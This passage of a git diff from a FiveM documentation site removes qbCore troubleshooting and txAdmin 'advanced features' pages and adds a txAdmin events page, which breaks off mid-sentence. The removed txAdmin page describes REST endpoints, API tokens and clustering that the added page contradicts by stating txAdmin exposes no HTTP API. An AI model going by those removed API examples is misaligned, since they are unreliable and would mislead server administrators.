Dependencies:** -```cfg -# Ensure oxmysql loads before qb-core -ensure oxmysql -ensure qb-core -``` - -#### Error: "Script timeout" - -**Symptoms:** -``` -[ERROR] Script timeout: qb-core -``` - -**Solutions:** - -1. **Check for Infinite Loops:** -```lua --- Bad -while true do - -- No Wait() call - causes timeout -end - --- Good -while true do - Wait(1000) -- Always include Wait() -end -``` - -2. **Database Connection Issues:** -```lua --- Check if database is accessible -local result = MySQL.query.await('SELECT 1 as test') -if not result then - print('Database connection failed') -end -``` - -## Player Data Issues - -### Player Data Not Loading - -#### Error: "Player data is nil" - -**Symptoms:** -- Player spawns but has no data -- Commands don't work -- Money/job shows as nil - -**Solutions:** - -1. **Check Player Loading Events:** -```lua --- Client-side -RegisterNetEvent('QBCore:Client:OnPlayerLoaded', function() - PlayerData = QBCore.Functions.GetPlayerData() - print('Player data loaded:', json.encode(PlayerData)) -end) -``` - -2. **Verify Database Schema:** -```sql --- Check if players table exists and has data -SELECT COUNT(*) FROM players; -DESCRIBE players; -``` - -3. **Check for Database Corruption:** -```sql --- Look for corrupted player data -SELECT citizenid, name, LENGTH(money) as money_length -FROM players -WHERE money IS NULL OR money = '' OR JSON_VALID(money) = 0; -``` - -#### Error: "Player already exists" - -**Symptoms:** -- Cannot create new character -- Gets stuck on character creation - -**Solutions:** - -1. **Check for Duplicate Licenses:** -```sql --- Find duplicate licenses -SELECT license, COUNT(*) as count -FROM players -GROUP BY license -HAVING count > 1; - --- Remove duplicates (keep most recent) -DELETE p1 FROM players p1 -INNER JOIN players p2 -WHERE p1.id < p2.id AND p1.license = p2.license; -``` - -2. **Clear Character Data:** -```sql --- Remove specific player data -DELETE FROM players WHERE license = 'license:your_license_here'; -``` - -### Money/Job Issues - -#### Error: "Money is not updating" - -**Solutions:** - -1. **Check Money Format:** -```sql --- Verify money is valid JSON -SELECT citizenid, money, JSON_VALID(money) as is_valid -FROM players -WHERE JSON_VALID(money) = 0; - --- Fix invalid money data -UPDATE players -SET money = '{"cash":500,"bank":5000,"crypto":0}' -WHERE JSON_VALID(money) = 0; -``` - -2. **Check Money Functions:** -```lua --- Server-side: Proper money handling -local Player = QBCore.Functions.GetPlayer(source) -if Player then - local success = Player.Functions.AddMoney('cash', 1000) - print('Money added:', success) -end -``` - -#### Error: "Job permissions not working" - -**Solutions:** - -1. **Verify Job Data:** -```sql --- Check job format in database -SELECT citizenid, job, JSON_VALID(job) as is_valid -FROM players -WHERE JSON_VALID(job) = 0; -``` - -2. **Check Job Configuration:** -```lua --- In qb-core/shared/jobs.lua -QBShared.Jobs = { - ['police'] = { - label = 'Law Enforcement', - defaultDuty = true, - offDutyPay = false, - grades = { - ['0'] = {name = 'Recruit', payment = 50}, - -- Ensure grades are properly defined - }, - }, -} -``` - -## Resource-Specific Issues - -### Inventory Issues - -#### Error: "Items not showing in inventory" - -**Solutions:** - -1. **Check Item Registration:** -```lua --- In qb-core/shared/items.lua -QBShared.Items = { - ['my_item'] = { - name = 'my_item', - label = 'My Item', - weight = 100, - type = 'item', - image = 'my_item.png', - unique = false, - useable = true, - shouldClose = true, - combinable = nil, - description = 'Item description' - } -} -``` - -2. **Verify Item Images:** -``` -qb-inventory/html/images/ -└── my_item.png # Image must exist -``` - -3. **Check Inventory Database:** -```sql --- Verify inventory structure -SELECT citizenid, inventory -FROM players -WHERE JSON_VALID(inventory) = 0; -``` - -#### Error: "Cannot use items" - -**Solutions:** - -1. **Register Item Usage:** -```lua --- Server-side -QBCore.Functions.CreateUseableItem('my_item', function(source, item) - local Player = QBCore.Functions.GetPlayer(source) - if Player then - -- Item usage logic - TriggerClientEvent('qb-myresource:client:useItem', source, item) - end -end) -``` - -2. **Check Item Metadata:** -```lua --- Ensure item has proper metadata -local item = Player.Functions.GetItemByName('my_item') -if item and item.info then - -- Item has metadata -end -``` - -### Vehicle Issues - -#### Error: "Vehicles not spawning" - -**Solutions:** - -1. **Check Vehicle Hash:** -```lua --- Verify vehicle model exists -local model = GetHashKey('adder') -if not IsModelInCdimage(model) then - print('Vehicle model not found') - return -end -``` - -2. **Check Vehicle Database:** -```sql --- Verify vehicle data -SELECT plate, vehicle, hash -FROM player_vehicles -WHERE hash = 0 OR vehicle = ''; -``` - -3. **Vehicle Keys Issues:** -```lua --- Ensure proper key assignment -TriggerEvent('qb-vehiclekeys:server:GiveVehicleKeys', source, plate) -``` - -### Phone/UI Issues - -#### Error: "Phone not opening" - -**Solutions:** - -1. **Check Resource Dependencies:** -```cfg -# Ensure proper loading order -ensure qb-core -ensure qb-phone -``` - -2. **Check Phone Item:** -```lua --- Verify player has phone item -local Player = QBCore.Functions.GetPlayer(source) -local phone = Player.Functions.GetItemByName('phone') -if not phone then - Player.Functions.AddItem('phone', 1) -end -``` - -3. **UI/NUI Issues:** -```lua --- Check for JavaScript errors in F8 console --- Verify NUI focus -SetNuiFocus(true, true) -``` - -## Performance Issues - -### High Resource Usage - -#### Server Performance Problems - -**Symptoms:** -- High CPU usage -- Lag/stuttering -- Thread hitches - -**Solutions:** - -1. **Identify Resource Usage:** -``` -# In server console -resmon - -# Look for resources using high CPU/memory -``` - -2. **Optimize Database Queries:** -```lua --- Bad: Multiple queries in loop -for i = 1, #players do - MySQL.query.await('SELECT * FROM players WHERE citizenid = ?', {players[i]}) -end - --- Good: Single query with IN clause -local citizenIds = {} -for i = 1, #players do - citizenIds[#citizenIds + 1] = players[i] -end -local placeholders = string.rep('?,', #citizenIds):sub(1, -2) -MySQL.query.await('SELECT * FROM players WHERE citizenid IN (' .. placeholders .. ')', citizenIds) -``` - -3. **Reduce Timer Frequency:** -```lua --- Bad: Too frequent -CreateThread(function() - while true do - Wait(0) -- Runs every frame - -- Heavy operation - end -end) - --- Good: Reasonable frequency -CreateThread(function() - while true do - Wait(5000) -- Runs every 5 seconds - -- Heavy operation - end -end) -``` - -### Memory Leaks - -#### Increasing Memory Usage - -**Solutions:** - -1. **Check for Event Listeners:** -```lua --- Ensure proper cleanup -AddEventHandler('onResourceStop', function(resourceName) - if GetCurrentResourceName() == resourceName then - -- Cleanup code here - for i = 1, #createdObjects do - DeleteEntity(createdObjects[i]) - end - end -end) -``` - -2. **Clear References:** -```lua --- Prevent memory leaks -local myData = {} - -AddEventHandler('onResourceStop', function(resourceName) - if GetCurrentResourceName() == resourceName then - myData = nil - end -end) -``` - -## Debug Techniques - -### Logging and Debugging - -#### Enable Debug Mode - -```lua --- In config.lua -Config.Debug = true - --- Debug function -local function DebugPrint(...) - if Config.Debug then - print('^3[DEBUG]^7', ...) - end -end - --- Usage -DebugPrint('Player data:', json.encode(PlayerData)) -``` - -#### Database Debugging - -```lua --- Check database operations -local function SafeQuery(query, parameters) - local success, result = pcall(MySQL.query.await, query, parameters) - if not success then - print('^1[ERROR]^7 Database query failed:', result) - return nil - end - return result -end -``` - -### Console Commands for Debugging - -```lua --- Server-side debug commands -RegisterCommand('qb-debug-player', function(source, args) - local playerId = tonumber(args[1]) or source - local Player = QBCore.Functions.GetPlayer(playerId) - - if Player then - print('=== PLAYER DEBUG ===') - print('CitizenID:', Player.PlayerData.citizenid) - print('Name:', Player.PlayerData.name) - print('Job:', json.encode(Player.PlayerData.job)) - print('Money:', json.encode(Player.PlayerData.money)) - print('Position:', json.encode(Player.PlayerData.position)) - else - print('Player not found') - end -end, true) - -RegisterCommand('qb-debug-db', function(source, args) - local playerId = tonumber(args[1]) or source - local Player = QBCore.Functions.GetPlayer(playerId) - - if Player then - local result = MySQL.query.await('SELECT * FROM players WHERE citizenid = ?', {Player.PlayerData.citizenid}) - if result[1] then - print('=== DATABASE DEBUG ===') - print('Raw data:', json.encode(result[1])) - end - end -end, true) -``` - -## Common Error Messages - -### Script Errors - -| Error | Cause | Solution | -|-------|-------|----------| -| `attempt to index a nil value` | Variable not initialized | Check if variable exists before using | -| `attempt to call a nil value` | Function doesn't exist | Verify function name and exports | -| `bad argument #1 to 'pairs'` | Trying to iterate nil value | Check if table exists before iteration | -| `string expected, got nil` | Passing nil to string function | Validate input parameters | - -### Database Errors - -| Error | Cause | Solution | -|-------|-------|----------| -| `Table doesn't exist` | Missing database table | Import SQL files | -| `Column doesn't exist` | Database schema mismatch | Update database schema | -| `Duplicate entry` | Trying to insert duplicate key | Use UPDATE or INSERT IGNORE | -| `Data too long` | Value exceeds column length | Increase column size | - -## Prevention Best Practices - -### Code Quality - -1. **Always Check for Nil:** -```lua -local Player = QBCore.Functions.GetPlayer(source) -if not Player then return end -``` - -2. **Use Error Handling:** -```lua -local success, result = pcall(function() - return MySQL.query.await(query, params) -end) - -if not success then - print('Query failed:', result) - return -end -``` - -3. **Validate Inputs:** -```lua -RegisterNetEvent('myresource:server:action', function(data) - if not data or type(data) ~= 'table' then - return - end - - if not data.amount or type(data.amount) ~= 'number' then - return - end - - -- Process valid data -end) -``` - -### Testing - -1. **Test with Multiple Players** -2. **Test Resource Restart** -3. **Test Database Disconnection** -4. **Test Invalid Inputs** -5. **Monitor Resource Usage** - -### Monitoring - -1. **Regular Database Backups** -2. **Monitor Server Performance** -3. **Check Error Logs** -4. **Update Dependencies** - - - Regular maintenance and monitoring can prevent most issues before they become problems. - - - - Always test changes on a development server before applying to production. - + +We are working hard to get the full qbCore documentation done as soon as possible! + \ No newline at end of file diff --git a/content/docs/txadmin/advanced.mdx b/content/docs/txadmin/advanced.mdx index b1c0645..11ef6c4 100644 --- a/content/docs/txadmin/advanced.mdx +++ b/content/docs/txadmin/advanced.mdx @@ -3,848 +3,8 @@ title: Advanced Features description: Explore advanced txAdmin features including custom recipes, automation, monitoring, and enterprise-grade server management. --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { InfoBanner } from '@ui/components/mdx-components'; -This guide covers advanced txAdmin features for experienced administrators who want to maximize their server management capabilities and implement enterprise-grade solutions. - -## Custom Recipes System - - - -### Recipe Development - -#### Recipe Structure -Create custom server deployment templates: - -```json -{ - "name": "Custom RP Server", - "version": "2.1.0", - "author": "YourName", - "description": "Complete roleplay server with custom features", - "fivemVersion": "latest", - "txAdminVersion": ">=5.0.0", - - "variables": { - "serverName": { - "type": "string", - "default": "My Roleplay Server", - "description": "The name of your server" - }, - "maxPlayers": { - "type": "number", - "default": 48, - "min": 1, - "max": 256, - "description": "Maximum number of players" - }, - "framework": { - "type": "select", - "options": ["esx", "qbcore", "custom"], - "default": "esx", - "description": "Choose your framework" - }, - "discordToken": { - "type": "string", - "sensitive": true, - "description": "Discord bot token for integrations" - } - }, - - "resources": [ - { - "name": "es_extended", - "source": "github", - "url": "https://github.com/esx-framework/esx-legacy", - "ref": "main", - "condition": "${framework} == 'esx'" - }, - { - "name": "qb-core", - "source": "github", - "url": "https://github.com/qbcore-framework/qb-core", - "ref": "main", - "condition": "${framework} == 'qbcore'" - }, - { - "name": "custom-scripts", - "source": "local", - "path": "./custom-resources", - "condition": "always" - } - ], - - "files": { - "server.cfg": { - "source": "template", - "template": "server.cfg.mustache" - }, - "database.sql": { - "source": "template", - "template": "database.sql.mustache" - } - }, - - "commands": [ - { - "name": "setup_database", - "command": "mysql -u root -p${db_password} < database.sql", - "description": "Initialize database" - }, - { - "name": "configure_resources", - "command": "node scripts/configure.js", - "description": "Configure installed resources" - } - ] -} -``` - -#### Template Files -Create dynamic configuration files: - -**server.cfg.mustache:** -```bash -## Server Configuration -sv_hostname "{{serverName}}" -set sv_maxclients {{maxPlayers}} - -## License Key -set sv_licenseKey "{{licenseKey}}" - -## Framework Configuration -{{#if framework == 'esx'}} -start es_extended -{{/if}} - -{{#if framework == 'qbcore'}} -start qb-core -{{/if}} - -## Custom Resources -{{#each customResources}} -start {{this}} -{{/each}} - -## Discord Integration -{{#if discordToken}} -set discord_token "{{discordToken}}" -{{/if}} -``` - -**database.sql.mustache:** -```sql -CREATE DATABASE IF NOT EXISTS {{databaseName}}; -USE {{databaseName}}; - -{{#if framework == 'esx'}} --- ESX Tables -SOURCE esx_tables.sql; -{{/if}} - -{{#if framework == 'qbcore'}} --- QBCore Tables -SOURCE qbcore_tables.sql; -{{/if}} - --- Custom Tables -CREATE TABLE IF NOT EXISTS server_config ( - id INT AUTO_INCREMENT PRIMARY KEY, - config_key VARCHAR(255) NOT NULL, - config_value TEXT, - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -); -``` - -### Recipe Deployment - - - -#### Automated Deployment -Deploy recipes programmatically: - -```javascript -// Deploy recipe via API -const deployRecipe = async (recipeId, variables) => { - const response = await fetch('/api/recipes/deploy', { - method: 'POST', - headers: { - 'Content-Type': 'application/json', - 'Authorization': `Bearer ${apiToken}` - }, - body: JSON.stringify({ - recipeId: recipeId, - variables: variables, - deploymentName: `deployment-${Date.now()}` - }) - }); - - return response.json(); -}; -``` - -#### Conditional Logic -Implement complex deployment logic: - -```json -{ - "conditions": { - "install_esx_jobs": "${framework} == 'esx' && ${includeJobs} == true", - "install_custom_ui": "${serverType} == 'roleplay' || ${serverType} == 'freeroam'", - "configure_whitelist": "${playerCount} <= 32" - }, - - "resources": [ - { - "name": "esx_jobs", - "condition": "install_esx_jobs" - }, - { - "name": "custom-ui", - "condition": "install_custom_ui" - } - ] -} -``` - -## API Integration - -### RESTful API - -#### Authentication -Secure API access with tokens: - -```javascript -// Generate API token -const generateApiToken = async () => { - const response = await fetch('/api/auth/token', { - method: 'POST', - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ - username: 'admin', - password: 'secure_password', - scope: ['server:control', 'players:manage'] - }) - }); - - const { token } = await response.json(); - return token; -}; -``` - -#### Server Control API -Control server programmatically: - -```javascript -// Start server -const startServer = async (apiToken) => { - const response = await fetch('/api/server/start', { - method: 'POST', - headers: { - 'Authorization': `Bearer ${apiToken}` - } - }); - - return response.json(); -}; - -// Get server status -const getServerStatus = async (apiToken) => { - const response = await fetch('/api/server/status', { - headers: { - 'Authorization': `Bearer ${apiToken}` - } - }); - - return response.json(); -}; - -// Execute console command -const executeCommand = async (apiToken, command) => { - const response = await fetch('/api/server/console', { - method: 'POST', - headers: { - 'Content-Type': 'application/json', - 'Authorization': `Bearer ${apiToken}` - }, - body: JSON.stringify({ - command: command - }) - }); - - return response.json(); -}; -``` - -#### Player Management API -Manage players via API: - -```javascript -// Get player list -const getPlayers = async (apiToken) => { - const response = await fetch('/api/players', { - headers: { - 'Authorization': `Bearer ${apiToken}` - } - }); - - return response.json(); -}; - -// Kick player -const kickPlayer = async (apiToken, playerId, reason) => { - const response = await fetch(`/api/players/${playerId}/kick`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json', - 'Authorization': `Bearer ${apiToken}` - }, - body: JSON.stringify({ - reason: reason - }) - }); - - return response.json(); -}; - -// Ban player -const banPlayer = async (apiToken, playerId, duration, reason) => { - const response = await fetch(`/api/players/${playerId}/ban`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json', - 'Authorization': `Bearer ${apiToken}` - }, - body: JSON.stringify({ - duration: duration, - reason: reason - }) - }); - - return response.json(); -}; -``` - -### WebSocket Integration - -#### Real-time Events -Monitor server events in real-time: - -```javascript -// Connect to WebSocket -const ws = new WebSocket('ws://localhost:40120/ws'); - -// Authenticate WebSocket connection -ws.onopen = () => { - ws.send(JSON.stringify({ - type: 'auth', - token: apiToken - })); -}; - -// Handle incoming events -ws.onmessage = (event) => { - const data = JSON.parse(event.data); - - switch (data.type) { - case 'player_join': - console.log(`Player ${data.player.name} joined`); - break; - - case 'player_leave': - console.log(`Player ${data.player.name} left`); - break; - - case 'server_status': - updateServerStatus(data.status); - break; - - case 'console_output': - displayConsoleMessage(data.message); - break; - } -}; -``` - -## Automation Scripts - -### Server Maintenance - -#### Automated Restart Script -Schedule intelligent server restarts: - -```bash -#!/bin/bash -# smart-restart.sh - Intelligent server restart script - -API_TOKEN="your_api_token_here" -TXADMIN_URL="http://localhost:40120" - -# Check current player count -PLAYER_COUNT=$(curl -s -H "Authorization: Bearer $API_TOKEN" \ - "$TXADMIN_URL/api/players" | jq '.players | length') - -# Only restart if player count is low -if [ "$PLAYER_COUNT" -lt 5 ]; then - echo "Low player count ($PLAYER_COUNT), proceeding with restart" - - # Announce restart - curl -s -X POST -H "Authorization: Bearer $API_TOKEN" \ - -H "Content-Type: application/json" \ - -d '{"command":"say Server restart in 5 minutes!"}' \ - "$TXADMIN_URL/api/server/console" - - sleep 300 # Wait 5 minutes - - # Restart server - curl -s -X POST -H "Authorization: Bearer $API_TOKEN" \ - "$TXADMIN_URL/api/server/restart" - -else - echo "High player count ($PLAYER_COUNT), deferring restart" -fi -``` - -#### Resource Update Automation -Automatically update resources: - -```python -#!/usr/bin/env python3 -# resource-updater.py - -import requests -import json -import subprocess -import time - -class ResourceUpdater: - def __init__(self, api_token, txadmin_url): - self.api_token = api_token - self.txadmin_url = txadmin_url - self.headers = {'Authorization': f'Bearer {api_token}'} - - def check_updates(self): - """Check for resource updates""" - response = requests.get( - f'{self.txadmin_url}/api/resources/updates', - headers=self.headers - ) - return response.json() - - def update_resource(self, resource_name): - """Update a specific resource""" - # Create backup first - self.backup_resource(resource_name) - - # Update resource - response = requests.post( - f'{self.txadmin_url}/api/resources/{resource_name}/update', - headers=self.headers - ) - - if response.status_code == 200: - print(f"Successfully updated {resource_name}") - return True - else: - print(f"Failed to update {resource_name}") - return False - - def backup_resource(self, resource_name): - """Backup resource before update""" - backup_name = f"{resource_name}_backup_{int(time.time())}" - subprocess.run([ - 'cp', '-r', - f'resources/{resource_name}', - f'backups/{backup_name}' - ]) - -# Usage -updater = ResourceUpdater('your_token', 'http://localhost:40120') -updates = updater.check_updates() - -for resource in updates.get('available_updates', []): - updater.update_resource(resource['name']) -``` - -### Performance Monitoring - -#### Custom Monitoring Dashboard -Create external monitoring: - -```javascript -// monitoring-dashboard.js -const express = require('express'); -const axios = require('axios'); -const app = express(); - -class TxAdminMonitor { - constructor(apiToken, txadminUrl) { - this.apiToken = apiToken; - this.txadminUrl = txadminUrl; - this.metrics = {}; - } - - async collectMetrics() { - try { - // Server status - const statusResponse = await axios.get( - `${this.txadminUrl}/api/server/status`, - { headers: { Authorization: `Bearer ${this.apiToken}` } } - ); - - // Player count - const playersResponse = await axios.get( - `${this.txadminUrl}/api/players`, - { headers: { Authorization: `Bearer ${this.apiToken}` } } - ); - - // System metrics - const systemResponse = await axios.get( - `${this.txadminUrl}/api/system/metrics`, - { headers: { Authorization: `Bearer ${this.apiToken}` } } - ); - - this.metrics = { - timestamp: new Date(), - server: statusResponse.data, - players: playersResponse.data, - system: systemResponse.data - }; - - return this.metrics; - } catch (error) { - console.error('Error collecting metrics:', error); - return null; - } - } - - async checkAlerts() { - const metrics = await this.collectMetrics(); - if (!metrics) return; - - // Check CPU usage - if (metrics.system.cpu > 80) { - this.sendAlert('High CPU usage detected', `CPU: ${metrics.system.cpu}%`); - } - - // Check memory usage - if (metrics.system.memory > 90) { - this.sendAlert('High memory usage detected', `Memory: ${metrics.system.memory}%`); - } - - // Check player capacity - const playerPercentage = (metrics.players.count / metrics.server.maxPlayers) * 100; - if (playerPercentage > 95) { - this.sendAlert('Server near capacity', `Players: ${metrics.players.count}/${metrics.server.maxPlayers}`); - } - } - - sendAlert(title, message) { - // Send to Discord webhook - axios.post(process.env.DISCORD_WEBHOOK, { - embeds: [{ - title: title, - description: message, - color: 0xff0000, - timestamp: new Date() - }] - }); - } -} - -// Start monitoring -const monitor = new TxAdminMonitor(process.env.API_TOKEN, process.env.TXADMIN_URL); -setInterval(() => monitor.checkAlerts(), 60000); // Check every minute -``` - -## Multi-Server Management - -### Centralized Control - -#### Server Fleet Manager -Manage multiple servers from one interface: - -```javascript -// fleet-manager.js -class FleetManager { - constructor() { - this.servers = new Map(); - } - - addServer(name, config) { - this.servers.set(name, { - name: name, - url: config.url, - token: config.token, - status: 'unknown' - }); - } - - async getFleetStatus() { - const promises = Array.from(this.servers.entries()).map(async ([name, server]) => { - try { - const response = await axios.get(`${server.url}/api/server/status`, { - headers: { Authorization: `Bearer ${server.token}` } - }); - - return { - name: name, - status: response.data.status, - players: response.data.players, - uptime: response.data.uptime - }; - } catch (error) { - return { - name: name, - status: 'error', - error: error.message - }; - } - }); - - return Promise.all(promises); - } - - async executeFleetCommand(command) { - const results = []; - - for (const [name, server] of this.servers) { - try { - const response = await axios.post( - `${server.url}/api/server/console`, - { command: command }, - { headers: { Authorization: `Bearer ${server.token}` } } - ); - - results.push({ - server: name, - success: true, - response: response.data - }); - } catch (error) { - results.push({ - server: name, - success: false, - error: error.message - }); - } - } - - return results; - } -} - -// Usage -const fleet = new FleetManager(); -fleet.addServer('server1', { url: 'http://server1:40120', token: 'token1' }); -fleet.addServer('server2', { url: 'http://server2:40120', token: 'token2' }); - -// Get status of all servers -fleet.getFleetStatus().then(status => console.log(status)); - -// Execute command on all servers -fleet.executeFleetCommand('say Hello from fleet manager!'); -``` - -### Load Balancing - -#### Player Distribution -Distribute players across servers: - -```javascript -// load-balancer.js -class LoadBalancer { - constructor(servers) { - this.servers = servers; - this.roundRobinIndex = 0; - } - - async findBestServer() { - const statuses = await Promise.all( - this.servers.map(async (server) => { - const response = await axios.get(`${server.url}/api/server/status`, { - headers: { Authorization: `Bearer ${server.token}` } - }); - - return { - ...server, - playerCount: response.data.players, - maxPlayers: response.data.maxPlayers, - cpu: response.data.cpu, - ping: response.data.ping - }; - }) - ); - - // Find server with lowest load - return statuses - .filter(server => server.playerCount < server.maxPlayers) - .sort((a, b) => { - const loadA = (a.playerCount / a.maxPlayers) + (a.cpu / 100); - const loadB = (b.playerCount / b.maxPlayers) + (b.cpu / 100); - return loadA - loadB; - })[0]; - } - - async redirectPlayer(playerId, targetServer) { - // Implementation depends on your redirect system - const command = `redirect ${playerId} ${targetServer.url}`; - - // Execute on current server - await axios.post('/api/server/console', { - command: command - }, { - headers: { Authorization: `Bearer ${this.currentServerToken}` } - }); - } -} -``` - -## Enterprise Features - -### High Availability Setup - -#### Failover Configuration -Set up automatic failover: - -```yaml -# docker-compose.yml for HA setup -version: '3.8' -services: - txadmin-primary: - image: txadmin:latest - ports: - - "40120:40120" - environment: - - TXADMIN_ROLE=primary - - TXADMIN_CLUSTER_SECRET=your_secret - volumes: - - ./data:/app/data - depends_on: - - database - - txadmin-secondary: - image: txadmin:latest - ports: - - "40121:40120" - environment: - - TXADMIN_ROLE=secondary - - TXADMIN_PRIMARY_HOST=txadmin-primary - - TXADMIN_CLUSTER_SECRET=your_secret - volumes: - - ./data:/app/data - depends_on: - - database - - database: - image: mysql:8.0 - environment: - - MYSQL_ROOT_PASSWORD=secure_password - - MYSQL_DATABASE=txadmin - volumes: - - ./mysql-data:/var/lib/mysql - - redis: - image: redis:alpine - command: redis-server --requirepass redis_password -``` - -#### Health Checks -Implement comprehensive health monitoring: - -```javascript -// health-check.js -class HealthChecker { - constructor(config) { - this.config = config; - this.checks = []; - } - - addCheck(name, checkFunction, critical = false) { - this.checks.push({ - name, - check: checkFunction, - critical - }); - } - - async runChecks() { - const results = []; - - for (const check of this.checks) { - try { - const result = await check.check(); - results.push({ - name: check.name, - status: 'healthy', - result: result, - critical: check.critical - }); - } catch (error) { - results.push({ - name: check.name, - status: 'unhealthy', - error: error.message, - critical: check.critical - }); - } - } - - return { - timestamp: new Date(), - overall: this.calculateOverallHealth(results), - checks: results - }; - } - - calculateOverallHealth(results) { - const criticalFailed = results.some(r => r.critical && r.status === 'unhealthy'); - const anyFailed = results.some(r => r.status === 'unhealthy'); - - if (criticalFailed) return 'critical'; - if (anyFailed) return 'degraded'; - return 'healthy'; - } -} - -// Setup health checks -const healthChecker = new HealthChecker(); - -healthChecker.addCheck('database', async () => { - const result = await mysql.query('SELECT 1'); - return { connected: true, responseTime: result.duration }; -}, true); - -healthChecker.addCheck('server_process', async () => { - const response = await axios.get('/api/server/status'); - return { running: response.data.status === 'online' }; -}, true); - -healthChecker.addCheck('disk_space', async () => { - const stats = await fs.promises.statfs('/'); - const freePercent = (stats.free / stats.size) * 100; - return { freePercent: freePercent, adequate: freePercent > 10 }; -}, false); -``` - ---- - - -**Pro Tip:** Use these advanced features gradually. Start with basic automation and build up to complex multi-server setups. - - - -**Security Note:** Always secure API endpoints and use proper authentication for advanced integrations. - \ No newline at end of file + +We are working hard to get the full txAdmin documentation done as soon as possible! + \ No newline at end of file diff --git a/content/docs/txadmin/api-events.mdx b/content/docs/txadmin/api-events.mdx new file mode 100644 index 0000000..8b1ca29 --- /dev/null +++ b/content/docs/txadmin/api-events.mdx @@ -0,0 +1,550 @@ +--- +title: "API Events" +description: "Learn about txAdmin Events and how to integrate them with your resources." +--- + +import { FeatureList, DefinitionList, StepList, PropertyCard, CommandCard } from "@ui/components"; +import { AlertTriangle, CheckCircle2, Info } from "lucide-react"; + +# txAdmin Events API + +txAdmin broadcasts **server events** that allow you to integrate functionalities with other resources. Events follow a consistent naming pattern: `txAdmin:events:` and include a table parameter with relevant data. + +## Overview + + + +
+ +
+

CFX Events, Not txAdmin API

+

These events are part of the CFX event system and are broadcast by txAdmin into the server's game environment. txAdmin does not currently expose a separate HTTP/REST API. To integrate with these events, you must listen for them using game event handlers in your server-side resources.

+
+
+ +
+ +
+

Important Notice

+

Do not fully rely on events where consistency is key since they may be executed while the server is not online. For example, while the server is stopped, one could whitelist or ban player identifiers without triggering events.

+
+
+ +--- + +## Server-Related Events + +### txAdmin:events:announcement + +Broadcasted when an announcement is made using txAdmin. + + + +**Event Data:** +- `author` *(string)* - The name of the admin or `txAdmin` +- `message` *(string)* - The message content of the announcement + +**Customization:** You can hide the default notification in `txAdmin → Settings → Game → Notifications`. + +**Example:** +```lua +AddEventHandler('txAdmin:events:announcement', function(eventData) + print("Announcement from " .. eventData.author .. ": " .. eventData.message) + -- Custom announcement handling +end) +``` + +--- + +### txAdmin:events:serverShuttingDown + +Broadcasted when the server is about to shut down. This can be triggered by scheduled/unscheduled stops or restarts, by an admin, or by the system. + + + +**Event Data:** +- `delay` *(number)* - Milliseconds txAdmin will wait before killing the server process +- `author` *(string)* - The name of the admin or `txAdmin` +- `message` *(string)* - The shutdown message + +**Example:** +```lua +AddEventHandler('txAdmin:events:serverShuttingDown', function(eventData) + print("Server shutting down in " .. (eventData.delay / 1000) .. " seconds") + -- Perform cleanup tasks +end) +``` + +--- + +### txAdmin:events:scheduledRestart + +Broadcasted automatically `[30, 15, 10, 5, 4, 3, 2, 1]` minutes before a scheduled restart. + + + +**Event Data:** +- `secondsRemaining` *(number)* - Seconds before the scheduled restart +- `translatedMessage` *(string)* - Translated message to show on the announcement + +**Customization:** Hide the default notification in `txAdmin → Settings → Game → Notifications`. + +**Example (ESX v1.2):** +```lua +ESX = nil +TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end) + +AddEventHandler('txAdmin:events:scheduledRestart', function(eventData) + if eventData.secondsRemaining == 60 then + CreateThread(function() + Wait(45000) + print("15 seconds before restart... saving all players!") + ESX.SavePlayers(function() + -- Save player data + end) + end) + end +end) +``` + +--- + +### txAdmin:events:scheduledRestartSkipped + +Broadcasted when an admin skips the next scheduled restart. + + + +**Event Data:** +- `secondsRemaining` *(number)* - Seconds before the previously scheduled restart +- `temporary` *(boolean)* - Whether it was a temporary or configured restart +- `author` *(string)* - Name of the admin that skipped the restart + +--- + +## Player-Related Events + +### txAdmin:events:playerBanned + +Broadcasted when a player is banned using txAdmin. + + + +**Event Data:** +- `author` *(string)* - The name of the admin +- `reason` *(string)* - The reason for the ban +- `actionId` *(string)* - The ID of this action +- `expiration` *(number|boolean)* - Unix timestamp for ban expiration, or `false` if permanent (added in v4.9) +- `durationInput` *(string)* - Duration input (added in v5.0) +- `durationTranslated` *(string|null)* - Translated duration or `null` (added in v5.0) +- `targetNetId` *(number|null)* - Network ID of banned player, or `null` if identifiers-only ban (added in v5.0) +- `targetIds` *(table)* - Identifiers that were banned (added in v5.0) +- `targetHwids` *(table)* - Hardware identifiers that were banned (added in v6.0) +- `targetName` *(string)* - Clean name of banned player or `identifiers` for legacy bans (added in v5.0) +- `kickMessage` *(string)* - Message shown to player as kick reason (added in v5.0) + +--- + +### txAdmin:events:playerWarned + +Broadcasted when a player is warned using txAdmin. + + + +**Event Data:** +- `author` *(string)* - The name of the admin +- `reason` *(string)* - The reason for the warning +- `actionId` *(string)* - The ID of this action +- `targetNetId` *(number|null)* - Network ID of warned player, or `null` if offline (added in v7.3) +- `targetIds` *(table)* - Identifiers that were warned (added in v7.3) +- `targetName` *(string)* - Clean name of warned player (added in v7.3) + +**Customization:** Hide the default notification in `txAdmin → Settings → Game → Notifications`. + +--- + +### txAdmin:events:playerKicked + +Broadcasted when a player is kicked using txAdmin. Note: Starting on v8.0, the `target` parameter might be `-1`. + + + +**Event Data:** +- `target` *(number)* - Player ID that was kicked, or `-1` if kicking everyone +- `author` *(string)* - The name of the admin +- `reason` *(string)* - The reason for the kick +- `dropMessage` *(string)* - Translated message players will see when kicked (added in v8.0) + +--- + +### txAdmin:events:playerHealed + +Broadcasted when a heal event is triggered for a player or the whole server. This is useful for servers running ambulance jobs or resources that keep players unconscious even after health restoration. + + + +**Event Data:** +- `target` *(number)* - Player ID that was healed, or `-1` if the entire server was healed +- `author` *(string)* - Name of the admin that triggered the heal + +--- + +### txAdmin:events:playerDirectMessage + +Broadcasted when an admin DMs a player. + + + +**Event Data:** +- `target` *(number)* - ID of the player to receive the DM +- `author` *(string)* - The name of the admin +- `message` *(string)* - The message content + +**Customization:** Hide the default notification in `txAdmin → Settings → Game → Notifications`. + +--- + +## Whitelist-Related Events + +### txAdmin:events:whitelistPlayer + +Broadcasted when a player is whitelisted or has their whitelisted status revoked. This event 